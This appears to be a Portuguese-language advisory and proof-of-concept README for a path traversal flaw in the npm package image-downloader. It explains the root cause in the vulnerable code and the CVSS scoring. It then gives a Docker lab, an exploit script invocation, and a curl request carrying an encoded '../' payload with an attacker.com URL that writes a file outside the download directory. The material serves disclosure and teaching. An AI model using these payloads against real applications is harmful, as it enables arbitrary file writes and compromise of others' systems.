
Advisory e PoC para CVE-2026-103648, um path traversal (CWE-22) no image-downloader 4.3.0 que permite escrita arbitrária de arquivos, com análise de causa raiz, diff de patch e laboratório Docker.
image-downloader
Descoberto por: Amirhossein Roustaei (@EterNullSec) — Eternull Security
⚠️ Apenas para Fins Educacionais. Este repositório documenta uma vulnerabilidade divulgada de forma responsável. Todo o código PoC destina-se exclusivamente a pesquisa de segurança autorizada e testes em ambientes de laboratório isolados. Não utilize contra sistemas que você não possui ou para os quais não tenha permissão escrita explícita de teste.
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2026-103648 |
| Entrada NVD | nvd.nist.gov/vuln/detail/CVE-2026-103648 |
| Pontuação CVSS v3.1 | 9.1 Crítica — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22: Limitação Imprópria de um Nome de Caminho a um Diretório Restrito |
| Pacote | image-downloader (npm) por demsking |
| Downloads semanais no npm | ~11.000 (~38.000/mês) — fonte |
| Versões Afetadas | < 4.3.1 (todas as versões, incluindo 4.3.0) |
| Versão Corrigida | 4.3.1 |
| Atribuído Por | GitLab |
| Publicado | 2026-10-02 |
| Relator | Amirhossein Roustaei (@EterNullSec), Eternull Security |
A vulnerabilidade está na lógica de extração de nome de arquivo do [email protected]. Este é o código-fonte real da versão afetada (index.js, extraído diretamente do pacote npm publicado):
// [email protected] — index.js (código-fonte real, sem modificações)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
if (!options.url) {
return Promise.reject(new Error('The options.url is required'));
}
if (!options.dest) {
return Promise.reject(new Error('The options.dest is required'));
}
if (extractFilename) {
if (!path.extname(options.dest)) {
const url = new URL(options.url);
const pathname = url.pathname;
const basename = path.basename(pathname); // ❌ basename ANTES da decodificação
const decodedBasename = decodeURIComponent(basename); // decodificação acontece DEPOIS
options.dest = path.join(options.dest, decodedBasename); // path.join resolve ".."
}
}
// ...
return request(options);
};
path.basename(pathname) é chamado sobre o pathname da URL ainda percent-encoded. Uma sequência como %2e%2e%2fpwned.sh não contém nenhuma / literal, então path.basename() trata tudo como um único nome de arquivo e o retorna inalterado — nada é removido.decodeURIComponent(). Este é o passo que transforma %2e%2e%2f de volta em um ../ literal — mas a essa altura ele já sobreviveu ao passo de basename que deveria sanitizá-lo.path.join(options.dest, decodedBasename) é chamado com uma string que agora contém um segmento ../ real. path.join() normaliza .. da mesma forma que cd .. faria — então o caminho final de escrita resolve para um local fora de options.dest.Em resumo: o código decodifica o nome de arquivo da forma correta, apenas na ordem errada em relação a path.basename(). Decodificar-depois-basename é seguro; basename-depois-decodificar não é.
URL pathname: /%2e%2e%2fpwned.sh
basename(): "%2e%2e%2fpwned.sh" (inalterado — sem '/' literal)
decode: "../pwned.sh" (traversal agora literal)
path.join(dest, "../pwned.sh")
→ resolve um diretório ACIMA de dest
Vetor de Ataque: Rede (AV:N) — acionável remotamente
Complexidade de Ataque: Baixa (AC:L) — sem condições especiais
Privilégios Necessários: Nenhum (PR:N) — sem necessidade de autenticação
Interação do Usuário: Nenhuma (UI:N) — totalmente automatizado
Escopo: Inalterado (S:U)
Confidencialidade: Nenhuma (C:N)
Integridade: Alta (I:H) — escrita arbitrária de arquivos
Disponibilidade: Alta (A:H) — sobrescrita de arquivos críticos / DoS
Este laboratório demonstra o mecanismo do bug de ponta a ponta em um único script para facilitar a reprodução, mas vale explicitar o modelo de ataque do mundo real:
download.image({ url, dest }) do image-downloader com um valor de url que ela mesma não controla totalmente — por exemplo, uma URL enviada por um usuário (funcionalidades de importação de avatar/imagem), extraída de um payload de webhook, ou lida de um feed RSS/conteúdo.url da vítima aponta, e controla o componente de caminho dessa URL — o que já é suficiente por si só, já que o traversal reside no caminho da URL (%2e%2e%2f...), não no corpo da resposta.authorized_keys, ou um executável que a aplicação executa posteriormente).Em exploit/exploit.py, os papéis de atacante e vítima são colapsados em um único script por conveniência do laboratório (ele levanta tanto a requisição do servidor "vítima" quanto o servidor de payload controlado pelo atacante). Em um cenário real de exploração, estas são duas partes separadas e não relacionadas — o PoC está estruturado desta forma puramente para que a vulnerabilidade seja reproduzível com um único comando.
git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build
O servidor vulnerável estará disponível em http://localhost:3000.
cd vulnerable-app/
npm install
node server.js
cd vulnerable-app/
npm install
node server.js
# Servidor rodando em http://localhost:3000
# Diretório de download: /tmp/downloads/
python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
Ou manualmente com curl (o traversal está no caminho da URL, não no corpo da resposta):
curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"
# Verifique se o arquivo foi gravado FORA de /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt
$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1